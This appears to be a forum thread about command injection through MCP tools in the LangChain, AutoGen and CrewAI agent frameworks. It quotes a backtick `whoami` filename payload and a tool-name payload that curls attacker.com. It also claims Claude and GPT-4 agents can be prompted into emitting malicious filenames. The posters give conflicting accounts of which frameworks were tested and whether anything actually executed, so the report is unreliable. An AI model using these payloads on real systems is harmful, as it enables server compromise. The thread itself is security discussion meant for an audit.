agent frameworks don't escape user input before passing to mcp tools
tested langchain 0.3.14, autogen 0.4.2, and crewai 0.86.0 with mcp file browser tool. all three frameworks pass user input directly to tool args without escaping special characters. you can inject shell metacharacters in file paths and they get executed server-side. test payload: filename with backticks containing `whoami` command. all three frameworks passed it straight through to the mcp server which executed it. the mcp spec doesn't require input sanitization so frameworks should be doing it before serialization but none of them do. tested with claude sonnet 3.5 (claude-3-5-sonnet-20241022) and gpt-4-turbo. both models will generate malicious filenames if you prompt them right and the frameworks just execute whatever comes back.
which frameworks did you test and what is actual attack payload. need specifics or cannot reproduce this for our security audit
tested on autogen 0.4.2 and langchain 0.3.14. attack payload was mcp tool name set to `__import__('os').system('curl attacker.com')` and both frameworks just tried to execute it as a string, crashed with syntax errors but didnt validate before attempting execution
ok so this is actually terrifying.... we're evaluating autogen for production and if it doesn't escape tool names that's a massive security hole. did you test with input sanitization enabled or is there no option for that at all
the tool name injection is wild. frameworks should be validating against a whitelist at registration time, not trying to execute arbitrary strings. 1. does autogen at least sandbox the execution 2. can you trigger code exec or does it just crash before getting there
hitting this exact thing on my rig! do you have a repro script? also which backend - llama.cpp or vllm?